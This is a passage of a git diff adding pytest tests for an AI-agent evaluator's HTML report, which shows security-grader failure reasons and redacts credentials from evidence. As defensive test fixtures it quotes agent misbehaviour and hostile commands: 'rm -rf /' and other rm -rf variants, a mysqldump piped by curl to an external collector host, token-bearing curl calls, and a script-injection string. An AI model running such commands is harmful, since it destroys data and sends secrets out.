+ assert re.search(r"<td>71</td>\s*<td>110</td>", _row(table, "With skill"))
+ assert ">1.00<" in _row(table, "Without skill")
+ assert re.search(r"<td>40</td>\s*<td>70</td>", _row(table, "Without skill"))
+ assert 'data-tier3-filter-count="t3-trials-table">2 / 2' in html
+ assert "<summary>Per-Evaluator Drill-Down</summary>" in html
+
+
+def test_missing_baseline_shows_available_condition_only() -> None:
+ html = _render(_payload(include_baseline=False))
+ table = _drilldown_table(html)
+
+ assert table.count("<tr>") == 2
+ assert "<td>With skill</td>" in table
+ assert "<td>Without skill</td>" not in table
+ assert [dataset["label"] for dataset in _steps_chart(html)["datasets"]] == ["codex · With skill"]
+
+
+def test_baseline_rows_render_without_with_skill_rows() -> None:
+ payload = _payload()
+ payload["trials"] = []
+ payload["agents"]["codex"]["trials"] = []
+
+ html = _render(payload)
+ table = _drilldown_table(html)
+
+ assert table.count("<tr>") == 2
+ assert "<td>Without skill</td>" in table
+ assert "No per-trial data available for this run." not in html
+ assert [dataset["label"] for dataset in _steps_chart(html)["datasets"]] == ["codex · Without skill"]
+
+
+def test_drilldown_adds_a_column_for_a_metric_only_baseline_rows_scored() -> None:
+ # With-skill rewards use the legacy metric set, so the report's metric ids
+ # do not list security; only the baseline rows scored it.
+ with_rewards = [
+ {"trial_id": "case-1__attempt1", "entry_id": "case-1", "metric_set": LEGACY_METRIC_SET}
+ | dict.fromkeys(LEGACY_METRICS, 0.9)
+ ]
+ baseline_rewards = [
+ {
+ "trial_id": "case-1__baseline1",
+ "entry_id": "case-1",
+ "metric_set": DEFAULT_METRIC_SET,
+ **dict.fromkeys(DEFAULT_METRICS, 0.9),
+ "security": 0.0,
+ "details": {"security": {"passed": False, "score": 0.0, "reason": "Baseline ran rm -rf /"}},
+ }
+ ]
+ payload = build_agent_eval_payload(
+ "demo",
+ {
+ "codex": {
+ "execution_status": "succeeded",
+ "expected_attempts": 2,
+ "scored_attempts": 2,
+ "with_skill": dict.fromkeys(LEGACY_METRICS, 0.9),
+ "without_skill": {**dict.fromkeys(DEFAULT_METRICS, 0.9), "security": 0.0},
+ "rewards": with_rewards,
+ "rewards_baseline": baseline_rewards,
+ "num_trials": 1,
+ "num_trials_baseline": 1,
+ }
+ },
+ use_llm_judge=False,
+ )
+ assert payload is not None
+ assert "security" not in payload["metric_ids"]
+
+ table = _drilldown_table(_render(payload))
+
+ headers = re.findall(r"<th>(.*?)</th>", table)
+ assert headers[-4:] == ["Security", "Steps", "Tokens", "Warnings"]
+ assert _cell(table, "Without skill", "Security") == "0.00"
+ assert 'title="Security: Baseline ran rm -rf /"' in _row(table, "Without skill")
+ assert _cell(table, "With skill", "Security") == "—"
+
+
+def test_drilldown_columns_include_metrics_scored_only_on_baseline_rows() -> None:
+ payload = _payload()
+ with_trial = payload["trials"][0]
+ for score_key in ("scores", "baseline_scores", "lift_scores"):
+ (with_trial.get(score_key) or {}).pop("accuracy", None)
+ payload["agents"]["codex"]["trials_baseline"].append(
+ {
+ "trial_id": "baseline-only__attempt1",
+ "entry_id": "baseline-only",
+ "overall": 0.0,
+ "scores": {"accuracy": 0.0},
+ }
+ )
+ payload["agents"]["codex"]["trials_baseline"][0]["scores"].pop("accuracy", None)
+
+ table = _drilldown_table(_render(payload))
+
+ assert "<th>Accuracy</th>" in table
+ baseline_row = re.search(r"<tr>(?:(?!</tr>).)*baseline-only.*?</tr>", table, re.DOTALL)
+ assert baseline_row is not None
+ assert ">0.00<" in baseline_row.group(0)
+
+
+def test_missing_baseline_telemetry_renders_as_unavailable() -> None:
+ payload = _payload()
+ baseline_trial = payload["agents"]["codex"]["trials_baseline"][0]
+ baseline_trial.pop("steps", None)
+ baseline_trial.pop("tokens", None)
+
+ html = _render(payload)
+
+ assert re.search(r"<td>—</td>\s*<td>—</td>", _row(_drilldown_table(html), "Without skill"))
+ assert [dataset["label"] for dataset in _steps_chart(html)["datasets"]] == ["codex · With skill"]
+
+
+def test_legacy_trials_without_agent_use_default_label_in_table_and_chart() -> None:
+ payload = _payload(include_baseline=False)
+ payload["trials"][0].pop("agent", None)
+ payload["agents"]["codex"]["trials"] = []
+
+ html = _render(payload)
+ table = _drilldown_table(html)
+
+ assert "<td><strong>(default)</strong></td>" in table
+ assert _steps_chart(html)["datasets"] == [{"label": "(default) · With skill", "data": [71.0]}]
+
+
+ ("field", "value", "column"),
+ [
+ ("overall", "high", "Overall"),
+ ("overall", 7.5, "Overall"),
+ ("scores", {"accuracy": "0.5"}, "Accuracy"),
+ ("scores", {"accuracy": 7.5}, "Accuracy"),
+ ("scores", ["x"], "Accuracy"),
+ ("steps", True, "Steps"),
+ ("steps", -5, "Steps"),
+ ("tokens", {"prompt": -100, "completion": 10}, "Tokens"),
+ ],
+)
+def test_malformed_baseline_trial_values_render_as_unavailable(field: str, value: object, column: str) -> None:
+ payload = _payload()
+ payload["agents"]["codex"]["trials_baseline"][0][field] = value
+
+ html = _render(payload)
+ table = _drilldown_table(html)
+
+ assert _cell(table, "Without skill", column) == "—"
+ assert _cell(table, "With skill", column) != "—"
+ if field == "steps":
+ assert [dataset["label"] for dataset in _steps_chart(html)["datasets"]] == ["codex · With skill"]
+
+
+def test_display_bounds_baseline_rows_without_adding_default_fields() -> None:
+ payload = _payload()
+ canonical_agent = payload["agents"]["codex"]
+ canonical_agent["trials_baseline"][0]["warnings"] = "not-a-list"
+ result = ValidationResult(validator_name="AGENT_EVAL", validator_description="Live evaluation")
+ result.metadata["agent_eval"] = payload
+
+ data = HTMLReporter(include_timestamp=False)._tier3_report_data([result])
+
+ assert data is not None
+ agent = data["agents"]["codex"]
+ # Baseline rows keep their recorded fields; no empty defaults grow the page.
+ assert [set(trial) for trial in agent["trials_baseline"]] == [
+ set(trial) for trial in canonical_agent["trials_baseline"]
+ ]
+ assert agent["trials_baseline"][0]["warnings"] == []
+ # Nothing renders agents[*].trials, so it is left as recorded.
+ assert agent["trials"] == canonical_agent["trials"]
+
+
+def test_steps_chart_covers_every_trial_when_the_html_preview_is_bounded() -> None:
+ # The bounded preview keeps 64 with-skill rows across all agents and blanks
+ # strings once its character budget runs out; the chart must not follow it.
+ infos: dict[str, Any] = {}
+ for agent_index in range(3):
+ arms = {
+ arm: [
+ _reward(f"{arm}-{agent_index}-{index}", f"case-{index:02d}", score=0.9, steps=10 + index, prompt=100)
+ for index in range(60)
+ ]
+ for arm in ("rewards", "rewards_baseline")
+ }
+ infos[f"agent-{agent_index}"] = {
+ "execution_status": "succeeded",
+ "expected_attempts": 120,
+ "scored_attempts": 120,
+ "with_skill": dict.fromkeys(METRICS, 0.9),
+ "without_skill": dict.fromkeys(METRICS, 0.9),
+ **arms,
+ "num_trials": 60,
+ "num_trials_baseline": 60,
+ }
+ payload = build_agent_eval_payload("demo", infos, use_llm_judge=False)
+ assert payload is not None
+ result = ValidationResult(validator_name="AGENT_EVAL", validator_description="Live evaluation")
+ result.metadata["agent_eval"] = payload
+ data = HTMLReporter(include_timestamp=False)._tier3_report_data([result])
+ assert data is not None
+ _preview, notice = html_module._bounded_tier3_preview(data)
+ assert notice.get("trial_rows")
+
+ chart = _steps_chart(_render(payload))
+
+ assert chart["labels"] == [f"case-{index:02d}" for index in range(60)]
+ assert [dataset["label"] for dataset in chart["datasets"]] == [
+ f"agent-{agent_index} · {condition}"
+ for agent_index in range(3)
+ for condition in ("With skill", "Without skill")
+ ]
+ for dataset in chart["datasets"]:
+ assert dataset["data"] == [float(10 + index) for index in range(60)]
+
+
+def test_steps_chart_notes_cases_past_its_cap(monkeypatch: pytest.MonkeyPatch) -> None:
+ payload = _payload()
+ payload["trials"].append({**payload["trials"][0], "trial_id": "case-2__attempt1", "entry_id": "case-2"})
+ monkeypatch.setattr(
+ html_module,
+ "steps_by_case_chart",
+ lambda agents, trials: steps_by_case_chart(agents, trials, max_cases=1),
+ )
+
+ html = _render(payload)
+
+ assert _steps_chart(html)["omitted_cases"] == 1
+ assert "Showing the first 1 eval cases; 1 more are in the JSON Downloads." in html
diff --git a/tests/reporting/test_tier3_failure_reasons.py b/tests/reporting/test_tier3_failure_reasons.py
new file mode 100644
index 00000000..96e1757c
--- /dev/null
+++ b/tests/reporting/test_tier3_failure_reasons.py
@@ -0,0 +1,807 @@
+# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+# SPDX-License-Identifier: Apache-2.0
+
+"""Grader failure reasons and evidence excerpts reach the Tier 3 HTML report.
+
+A failing evaluator score must explain itself: the evaluator card names the
+grader's reason and quotes the offending artifact, and the drill-down cell
+carries the same reason as a tooltip. Both surfaces are redacted and bounded.
+"""
+
+from __future__ import annotations
+
+import copy
+import html as html_lib
+import json
+import re
+from typing import Any
+
+import pytest
+
+from skillevaluator.evaluation import tier3_report
+from skillevaluator.evaluation.tier3_findings import (
+ _MAX_SCAN_CHARS,
+ MAX_REASON_CHARS,
+ failure_excerpt,
+ failure_reason,
+ failure_reason_text_slots,
+ sanitize_grader_text,
+ strip_failure_reason_text,
+)
+from skillevaluator.evaluation.tier3_report import build_agent_eval_payload
+from skillevaluator.models import ValidationResult
+from skillevaluator.reporting import HTMLReporter
+from skillevaluator.reporting import html as html_module
+from skillevaluator.reporting.dashboard_data import _trial_coverage_truncated
+from skillevaluator.tier3.harbor.metrics import DEFAULT_METRICS
+
+METRICS = list(DEFAULT_METRICS)
+DESTRUCTIVE_REASON = "Agent executed potentially destructive command: rm -rf"
+DESTRUCTIVE_COMMAND = "find input -type d -name __pycache__ -prune -print -exec rm -rf {} +"
+PASSING_SECURITY_REASON = "No unsafe agent-issued actions, secret leakage, or unauthorized access found in trajectory"
+# A credential with no recognizable shape, as a self-hosted gateway might issue.
+# Only its configured value identifies it.
+GATEWAY_CREDENTIAL = "gatewaytokengatewaytoken"
+
+
+def _finding(
+ evidence: str,
+ *,
+ finding_type: str = "destructive_command",
+ message: str = DESTRUCTIVE_REASON,
+) -> dict[str, Any]:
+ return {
+ "type": finding_type,
+ "severity": "critical",
+ "message": message,
+ "evidence": evidence,
+ "source": "agent_tool_call",
+ "score_impact": True,
+ }
+
+
+def _security_details(*findings: dict[str, Any], reason: str = DESTRUCTIVE_REASON) -> dict[str, Any]:
+ return {"security": {"passed": False, "score": 0.0, "reason": reason, "findings": list(findings)}}
+
+
+def _reward(
+ entry_id: str = "case-1",
+ trial_id: str = "case-1__attempt1",
+ *,
+ security: float = 0.0,
+ details: dict[str, Any] | None = None,
+ **scores: float,
+) -> dict[str, Any]:
+ reward: dict[str, Any] = {
+ "trial_id": trial_id,
+ "entry_id": entry_id,
+ **dict.fromkeys(METRICS, 0.9),
+ "security": security,
+ **scores,
+ }
+ if details is not None:
+ reward["details"] = details
+ return reward
+
+
+def _mean_scores(rewards: list[dict[str, Any]]) -> dict[str, float]:
+ return {metric: sum(reward[metric] for reward in rewards) / len(rewards) for metric in METRICS} if rewards else {}
+
+
+def _payload(rewards: list[dict[str, Any]], baseline: list[dict[str, Any]] | None = None) -> dict[str, Any]:
+ baseline = baseline or []
+ payload = build_agent_eval_payload(
+ "demo",
+ {
+ "codex": {
+ "execution_status": "succeeded",
+ "expected_attempts": len(rewards) + len(baseline),
+ "scored_attempts": len(rewards) + len(baseline),
+ "with_skill": _mean_scores(rewards),
+ "without_skill": _mean_scores(baseline),
+ "rewards": rewards,
+ "rewards_baseline": baseline,
+ "num_trials": len(rewards),
+ "num_trials_baseline": len(baseline),
+ }
+ },
+ use_llm_judge=False,
+ )
+ assert payload is not None
+ return payload
+
+
+def _render(payload: dict[str, Any]) -> str:
+ result = ValidationResult(validator_name="AGENT_EVAL", validator_description="Live evaluation")
+ result.metadata["agent_eval"] = payload
+ return HTMLReporter(include_timestamp=False).render_all([result])
+
+
+def _security_card(payload: dict[str, Any]) -> dict[str, Any]:
+ return next(card for card in payload["agents"]["codex"]["evaluator_cards"] if card["id"] == "security")
+
+
+def _security_evidence_html(html: str) -> str:
+ cards = html.split('class="t3-eval-card', 1)[1]
+ match = re.search(r'<details class="t3-eval-evidence"[^>]*>.*?</details>', cards, re.DOTALL)
+ assert match is not None
+ return match.group(0)
+
+
+def _drilldown_table(html: str) -> str:
+ match = re.search(r'<table class="summary-table" id="t3-trials-table">(.*?)</table>', html, re.DOTALL)
+ assert match is not None
+ return match.group(1)
+
+
+def test_failed_security_score_explains_card_and_drilldown_cell() -> None:
+ payload = _payload([_reward(details=_security_details(_finding(DESTRUCTIVE_COMMAND)))])
+
+ assert payload["trials"][0]["score_reasons"] == {"security": DESTRUCTIVE_REASON}
+ # The drill-down reads the flattened trials, so the per-agent copy stays lean.
+ assert "score_reasons" not in payload["agents"]["codex"]["trials"][0]
+ card = _security_card(payload)
+ assert card["status"] == "fail"
+ assert card["evidence"][0]["notes"] == [DESTRUCTIVE_REASON]
+ assert card["evidence"][0]["excerpt"] == DESTRUCTIVE_COMMAND
+
+ html = _render(payload)
+ evidence_html = _security_evidence_html(html)
+ assert evidence_html.startswith('<details class="t3-eval-evidence" open>')
+ assert f'<code class="t3-ev-excerpt">{DESTRUCTIVE_COMMAND}</code>' in evidence_html
+ table = _drilldown_table(html)
+ assert f'title="Security: {DESTRUCTIVE_REASON}"><span class="t3-score-reason">0.00</span>' in table
+
+
+def test_reward_without_details_renders_without_reasons() -> None:
+ payload = _payload([_reward()])
+
+ assert "score_reasons" not in payload["trials"][0]
+ assert all("excerpt" not in item for item in _security_card(payload)["evidence"])
+ html = _render(payload)
+ assert 'title="Security:' not in html
+ assert 'class="t3-score-reason"' not in html
+
+
+def test_passing_metric_carries_no_reason_or_excerpt() -> None:
+ details = {"security": {"passed": True, "score": 1.0, "reason": PASSING_SECURITY_REASON, "findings": []}}
+ payload = _payload([_reward(security=1.0, details=details)])
+
+ assert "score_reasons" not in payload["trials"][0]
+ card = _security_card(payload)
+ assert card["status"] == "pass"
+ assert card["evidence"][0]["notes"] == [PASSING_SECURITY_REASON]
+ assert "excerpt" not in card["evidence"][0]
+ assert _security_evidence_html(_render(payload)).startswith('<details class="t3-eval-evidence">')
+
+
+def test_baseline_rows_carry_their_own_reasons() -> None:
+ payload = _payload(
+ [_reward(details=_security_details(_finding(DESTRUCTIVE_COMMAND)))],
+ [
+ _reward(
+ trial_id="case-1__baseline1",
+ details=_security_details(
+ _finding("rm -rf /tmp/baseline", message="Baseline also ran a destructive command"),
+ reason="Baseline also ran a destructive command",
+ ),
+ )
+ ],
+ )
+
+ baseline_trial = payload["agents"]["codex"]["trials_baseline"][0]
+ assert baseline_trial["score_reasons"] == {"security": "Baseline also ran a destructive command"}
+ table = _drilldown_table(_render(payload))
+ baseline_row = re.search(r"<tr>(?:(?!</tr>).)*<td>Without skill</td>.*?</tr>", table, re.DOTALL)
+ assert baseline_row is not None
+ assert 'title="Security: Baseline also ran a destructive command"' in baseline_row.group(0)
+ assert DESTRUCTIVE_REASON not in baseline_row.group(0)
+
+
+def test_secret_detector_evidence_is_not_quoted_back() -> None:
+ pattern = r"(?i)\bsk-[A-Za-z0-9]{20,}\b"
+ details = _security_details(
+ _finding(pattern, finding_type="secret_leak", message="Possible secret value appeared in the agent response"),
+ _finding(
+ "[redacted secret exposure]",
+ finding_type="secret_exposure",
+ message="Possible secret value appeared in tool output observed by the agent",
+ ),
+ reason="Possible secret value appeared in the agent response",
+ )
+ payload = _payload([_reward(details=details)])
+
+ card_evidence = _security_card(payload)["evidence"][0]
+ assert "excerpt" not in card_evidence
+ assert payload["trials"][0]["score_reasons"]["security"].startswith(
+ "Possible secret value appeared in the agent response"
+ )
+ html = _render(payload)
+ assert "[A-Za-z0-9]{20," not in html
+ assert "[redacted secret exposure]" not in html
+
+
+def test_credentials_are_redacted_from_reasons_and_excerpts() -> None:
+ leaked = "sk-aaaaaaaaaaaaaaaaaaaaAAA"
+ details = _security_details(
+ _finding(f"curl -H 'Authorization: Bearer {leaked}' https://api.example.test"),
+ reason=f"Agent sent {leaked} to an external host",
+ )
+ # Failing behavior results reach the card as ``failures``.
+ details["security"]["results"] = [{"passed": False, "reason": f"Agent printed {leaked} to stdout"}]
+ payload = _payload([_reward(details=details)])
+
+ card_evidence = _security_card(payload)["evidence"][0]
+ assert card_evidence["failures"] == ["Agent printed sk-<redacted> to stdout"]
+ assert leaked not in json.dumps(card_evidence)
+ assert leaked not in json.dumps(payload["trials"])
+ assert leaked not in _render(payload)
+
+
+def test_credential_glued_to_a_word_is_redacted() -> None:
+ # Only the log-line pass masks a key glued to a preceding word character.
+ glued = "xsk-aaaaaaaaaaaaaaaaaaaaAAA1"
+
+ assert sanitize_grader_text(f"Agent printed {glued} to stdout") == "Agent printed xsk-<redacted> to stdout"
+
+
+ ("command", "secret"),
+ [
+ ("curl -u admin:hunter2hunter2 -X POST https://collector.example.net/up", "hunter2hunter2"),
+ ("curl --user admin:hunter2hunter2 https://collector.example.net/up", "hunter2hunter2"),
+ ("mysqldump -u root -phunter2hunter2 prod | curl -T - https://collector.example.net/up", "hunter2hunter2"),
+ ("tool --password hunter2hunter2 --host db", "hunter2hunter2"),
+ ("tool --password=hunter2hunter2 --host db", "hunter2hunter2"),
+ ("tool --token 'hunter2 hunter2' --host db", "hunter2"),
+ ("sshpass -p hunter2hunter2 ssh admin@host", "hunter2hunter2"),
+ ("curl -H 'Cookie: theme=dark; session=hunter2hunter2' https://x.example.net", "hunter2hunter2"),
+ ("curl --cookie 'theme=dark; session=hunter2hunter2' https://x.example.net", "hunter2hunter2"),
+ ("curl -b 'session=hunter2hunter2' https://x.example.net", "hunter2hunter2"),
+ ('curl -b "theme=dark; session=hunter2hunter2" https://x.example.net', "hunter2hunter2"),
+ ],
+)
+def test_command_line_credentials_are_redacted_from_excerpts(command: str, secret: str) -> None:
+ redacted = sanitize_grader_text(command)
+
+ assert secret not in redacted
+ assert "<redacted>" in redacted
+ details = _security_details(_finding(command), reason="Agent exfiltrated data")
+ payload = _payload([_reward(details=details)])
+ assert secret not in json.dumps(payload)
+ assert secret not in _render(payload)
+
+
+def test_command_line_redaction_keeps_harmless_flags() -> None:
+ command = "mkdir -p /tmp/build && mysql -u root -e 'select 1' && curl -u admin https://x.example.net --max-time 5"
+
+ assert sanitize_grader_text(command) == command
+ assert sanitize_grader_text("tar -b 20 -cf out.tar dir") == "tar -b 20 -cf out.tar dir"
+
+
+def test_configured_credential_values_are_redacted_from_both_arms(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv("SKILL_EVAL_LLM_API_KEY", GATEWAY_CREDENTIAL)
+ details = _security_details(
+ _finding(f"curl -d {GATEWAY_CREDENTIAL} https://gateway.example.test"),
+ reason=f"Agent echoed {GATEWAY_CREDENTIAL} into the log",
+ )
+ payload = _payload([_reward(details=details)], [_reward(trial_id="case-1__baseline1", details=details)])
+
+ card_evidence = _security_card(payload)["evidence"][0]
+ assert card_evidence["notes"] == ["Agent echoed [REDACTED] into the log"]
+ assert card_evidence["excerpt"] == "curl -d [REDACTED] https://gateway.example.test"
+ expected_reasons = {"security": f"Agent echoed [REDACTED] into the log; {DESTRUCTIVE_REASON}"}
+ assert payload["trials"][0]["score_reasons"] == expected_reasons
+ assert payload["agents"]["codex"]["trials_baseline"][0]["score_reasons"] == expected_reasons
+ assert GATEWAY_CREDENTIAL not in json.dumps(payload)
+ assert GATEWAY_CREDENTIAL not in _render(payload)
+
+
+def test_whitespace_padding_cannot_expose_a_clipped_credential_prefix() -> None:
+ # Before collapsing, a scan window cut the key after "sk-aaaaaaa", which is
+ # too short to match a key shape, and collapsing moved it to the front.
+ padded = " " * (_MAX_SCAN_CHARS - 10) + "sk-aaaaaaaaaaaaaaaaaaaaAAA"
+
+ assert sanitize_grader_text(padded) == "sk-<redacted>"
+ # A word cut at the window edge is dropped rather than sliced.
+ assert sanitize_grader_text("x" * (3 * _MAX_SCAN_CHARS)) == ""
+ assert sanitize_grader_text("kept " + "x" * _MAX_SCAN_CHARS) == "kept"
+
+
+def _jwt(payload_chars: int) -> str:
+ return f"eyJhbGciOiJIUzI1NiJ9.eyJ{'A' * payload_chars}.{'s' * 43}"
+
+
+def test_credential_cut_at_the_scan_window_is_dropped_not_sliced(monkeypatch: pytest.MonkeyPatch) -> None:
+ # Eleven ~1.5 KB JWTs (an echoed env dump) put a configured credential with no
+ # recognizable shape across the scan window edge. Redacting the JWTs
+ # shortens the text before it, which used to pull the credential's first 20
+ # characters into the visible reason, excerpt and card note.
+ configured = "cutvaluecutvaluecutvaluecutvalue"
+ monkeypatch.setenv("SKILL_EVAL_LLM_API_KEY", configured)
+ words = [_jwt(1_440) for _ in range(10)]
+ filler = _MAX_SCAN_CHARS - 20 - sum(len(word) + 1 for word in words) - 1
+ words.append(_jwt(filler - len(_jwt(0))))
+ text = " ".join([*words, configured])
+ assert text.index(configured) == _MAX_SCAN_CHARS - 20
+
+ for visible in (
+ failure_reason({"reason": text}),
+ failure_excerpt({"evidence": text}),
+ sanitize_grader_text(text)[:512],
+ ):
+ assert visible.endswith("jwt-<redacted>")
+ assert configured[:8] not in visible
+
+
+def test_line_break_ends_a_masked_assignment() -> None:
+ # A ``key: value`` assignment is masked to the end of its line; collapsing
+ # the line break first used to mask the explanation that follows.
+ reason = "auth_token: missing\nThe agent hardcoded the login response instead of calling the endpoint"
+ details = {"security": {"passed": False, "score": 0.0, "reason": reason, "findings": []}}
+ payload = _payload([_reward(details=details)])
+
+ expected = "auth_token:<redacted>\nThe agent hardcoded the login response instead of calling the endpoint"
+ assert sanitize_grader_text(reason) == expected
+ assert (
+ failure_reason({"message": reason, "attribution_explanation": "Skill-caused."}) == f"{expected}; Skill-caused."
+ )
+ assert _security_card(payload)["evidence"][0]["notes"] == [expected]
+ assert payload["trials"][0]["score_reasons"] == {"security": expected}
+ html = _render(payload)
+ assert "The agent hardcoded the login response" in _security_evidence_html(html)
+ assert f'title="Security: {html_lib.escape(expected)}"' in _drilldown_table(html)
+ assert sanitize_grader_text("one \r\n\t two \n\n three\tfour") == "one\ntwo\nthree four"
+
+
+def test_evidence_markup_is_escaped_exactly_once() -> None:
+ details = _security_details(
+ _finding("<script>alert(1)</script>"),
+ reason="Agent wrote <script> into a served file",
+ )
+
+ html = _render(_payload([_reward(details=details)]))
+
+ assert "&lt;script&gt;alert(1)&lt;/script&gt;" in html
+ assert "&amp;lt;script&amp;gt;" not in html
+ assert "<script>alert(1)</script>" not in html
+
+
+def test_message_only_detail_explains_failing_score() -> None:
+ details = {"skill_execution": {"passed": False, "score": 0.0, "message": "No tool calls in trajectory"}}
+ payload = _payload([_reward(security=1.0, skill_execution=0.0, details=details)])
+
+ assert payload["trials"][0]["score_reasons"] == {"skill_execution": "No tool calls in trajectory"}
+ card = next(card for card in payload["agents"]["codex"]["evaluator_cards"] if card["id"] == "skill_execution")
+ # The built reason stays apart from the grader's own notes, so size limits
+ # can drop it first; the card still shows it.
+ assert card["evidence"][0]["notes"] == []
+ assert card["evidence"][0]["reason"] == "No tool calls in trajectory"
+ cards_html = _render(payload).split('class="t3-eval-card', 1)[1]
+ assert re.search(r'<span class="t3-ev-notes">\s*No tool calls in trajectory', cards_html)
+
+
+def test_passing_attempt_does_not_hide_failing_attempt_reason() -> None:
+ passing = {"security": {"passed": True, "score": 1.0, "reason": PASSING_SECURITY_REASON, "findings": []}}
+ payload = _payload(
+ [
+ _reward(trial_id="case-1__attempt1", security=1.0, details=passing),
+ _reward(trial_id="case-1__attempt2", details=_security_details(_finding(DESTRUCTIVE_COMMAND))),
+ ]
+ )
+
+ evidence_html = _security_evidence_html(_render(payload))
+
+ assert DESTRUCTIVE_REASON in evidence_html
+ assert DESTRUCTIVE_COMMAND in evidence_html
+ assert PASSING_SECURITY_REASON not in evidence_html
+ assert "\u00d72" in evidence_html
+
+
+def test_multi_row_trial_takes_reason_from_failing_row() -> None:
+ payload = _payload(
+ [
+ _reward(security=1.0),
+ _reward(details=_security_details(_finding(DESTRUCTIVE_COMMAND))),
+ ]
+ )
+
+ trial = payload["trials"][0]
+ assert trial["scores"]["security"] == 0.5
+ assert trial["score_reasons"] == {"security": DESTRUCTIVE_REASON}
+
+
+def _scored_security_details(reason: str, score: float) -> dict[str, Any]:
+ return {"security": {"passed": False, "score": score, "reason": reason, "findings": []}}
+
+
+def test_multi_row_trial_takes_reason_from_lowest_scoring_failing_row() -> None:
+ payload = _payload(
+ [
+ _reward(security=0.5, details=_scored_security_details("Reason A: partial leak", 0.5)),
+ _reward(security=0.0, details=_scored_security_details("Reason B: destructive command", 0.0)),
+ ]
+ )
+
+ assert payload["trials"][0]["score_reasons"] == {"security": "Reason B: destructive command"}
+
+
+def test_card_shows_lowest_scoring_failing_attempt_reason() -> None:
+ payload = _payload(
+ [
+ _reward(
+ trial_id="case-1__attempt1",
+ security=0.5,
+ details=_scored_security_details("Reason A: partial leak", 0.5),
+ ),
+ _reward(
+ trial_id="case-1__attempt2",
+ security=0.0,
+ details=_scored_security_details("Reason B: destructive command", 0.0),
+ ),
+ ]
+ )
+
+ evidence_html = _security_evidence_html(_render(payload))
+
+ assert "Reason B: destructive command" in evidence_html
+ assert "Reason A: partial leak" not in evidence_html
+
+
+def test_card_lists_failed_behavior_results_once() -> None:
+ # judge_behavior_check records the judge summary as ``reason``, which can be empty.
+ failed = ["Did not cite the source document", "Deleted files without asking"]
+ details = {
+ "behavior_check": {
+ "passed": False,
+ "reason": "",
+ "results": [
+ {"behavior": f"b{index}", "passed": False, "reason": text} for index, text in enumerate(failed)
+ ],
+ }
+ }
+ payload = _payload([_reward(security=1.0, behavior_check=0.0, details=details)])
+
+ card = next(card for card in payload["agents"]["codex"]["evaluator_cards"] if card["id"] == "behavior_check")
+ assert card["evidence"][0]["failures"] == failed
+ assert "reason" not in card["evidence"][0]
+ # The drill-down tooltip has no separate failures list, so it keeps them.
+ assert payload["trials"][0]["score_reasons"] == {"behavior_check": "; ".join(failed)}
+ match = re.search(
+ r'<div class="t3-eval-title">Behavior Check</div>.*?(<details class="t3-eval-evidence".*?</details>)',
+ _render(payload),
+ re.DOTALL,
+ )
+ assert match is not None
+ for text in failed:
+ assert match.group(1).count(text) == 1
+
+
+def test_attempts_quoting_different_commands_share_one_card_entry_per_case() -> None:
+ # The security grader writes one fixed reason per finding label and quotes
+ # the command, which differs per attempt, in the finding evidence.
+ rewards = [
+ _reward(
+ entry_id=f"case-{case}",
+ trial_id=f"case-{case}__attempt{attempt}",
+ details=_security_details(_finding(f"rm -rf /tmp/build-{case}-{attempt} ~/work")),
+ )
+ for case in range(8)
+ for attempt in range(3)
+ ]
+ payload = _payload(rewards)
+
+ card = _security_card(payload)
+ assert [entry["entry_id"] for entry in card["evidence"]] == [f"case-{case}" for case in range(8)]
+ assert [entry["occurrences"] for entry in card["evidence"]] == [3] * 8
+ assert card["evidence"][0]["excerpt"] == "rm -rf /tmp/build-0-0 ~/work"
+ assert "evidence_sampling" not in card
+ assert "evidence_entries" not in payload.get("report_truncation", {}).get("omitted", {})
+ assert "Per-trial evidence (8 cases, 24 trials)" in _render(payload)
+
+
+def test_reason_deduplicates_after_redaction() -> None:
+ reason = failure_reason(
+ {
+ "passed": False,
+ "reason": "token=sk-aaaaaaaaaaaaaaaaaaaaAAA leaked",
+ "findings": [{"passed": False, "message": "token=sk-bbbbbbbbbbbbbbbbbbbbBBB leaked", "score_impact": True}],
+ }
+ )
+
+ assert reason == "token=<redacted> leaked"
+
+
+def test_reason_names_failed_checks_criteria_and_attribution() -> None:
+ reason = failure_reason(
+ {
+ "criteria": {"TASK_ADDRESSED": False, "SKILL_IDENTIFIED": True, "ACTIONABLE": False},
+ "command_injection_check": {"passed": False, "score": 0.0},
+ "attribution_explanation": "The skill instructions requested the command.",
+ }
+ )
+
+ assert reason == (
+ "Failed criteria: ACTIONABLE, TASK_ADDRESSED; Command injection check failed; "
+ "The skill instructions requested the command."
+ )
+
+
+def test_reason_is_bounded_and_marks_truncation() -> None:
+ reason = failure_reason(
+ {
+ "reason": "A" * 200,
+ "findings": [{"message": f"{letter * 200}", "score_impact": True} for letter in "BCDEF"],
+ }
+ )
+
+ assert len(reason) <= MAX_REASON_CHARS
+ assert reason.endswith("...<truncated>")
+ assert "D" not in reason
+
+
+def test_reason_ignores_criteria_excluded_from_the_score() -> None:
+ # The accuracy grader excludes skill identification when no skill is
+ # expected, and the judge is told to mark it false.
+ detail = {
+ "score": 0.75,
+ "reason": "Answer omitted the retry limit.",
+ "criteria": {"SKILL_IDENTIFIED": False, "ACTION_CORRECT": True, "FACTUALLY_ACCURATE": False},
+ "excluded_criteria": ["SKILL_IDENTIFIED"],
+ }
+
+ assert failure_reason(detail) == "Answer omitted the retry limit.; Failed criteria: FACTUALLY_ACCURATE"
+ assert failure_reason({"criteria": {"SKILL_IDENTIFIED": False}, "excluded_criteria": ["SKILL_IDENTIFIED"]}) == ""
+
+
+def test_render_drops_malformed_reasons_and_excerpts() -> None:
+ payload = _payload([_reward(details=_security_details(_finding(DESTRUCTIVE_COMMAND)))])
+ payload["trials"][0]["score_reasons"] = {"security": {"nested": DESTRUCTIVE_REASON}}
+ for cards in (payload["evaluator_cards"], payload["agents"]["codex"]["evaluator_cards"]):
+ next(card for card in cards if card["id"] == "security")["evidence"][0]["excerpt"] = ["rm", "-rf"]
+
+ html = _render(payload)
+
+ assert 'class="t3-score-reason"' not in _drilldown_table(html)
+ assert '<code class="t3-ev-excerpt">' not in html
+ assert DESTRUCTIVE_REASON in _security_evidence_html(html)
+
+
+def test_reason_reads_plain_string_findings() -> None:
+ # Legacy and custom graders list findings as strings; the terminal findings
+ # report already treats them as failure reasons.
+ assert failure_reason({"findings": ["Wrote outside the workspace", 7]}) == "Wrote outside the workspace"
+
+
+def test_reason_names_the_type_of_a_finding_without_message() -> None:
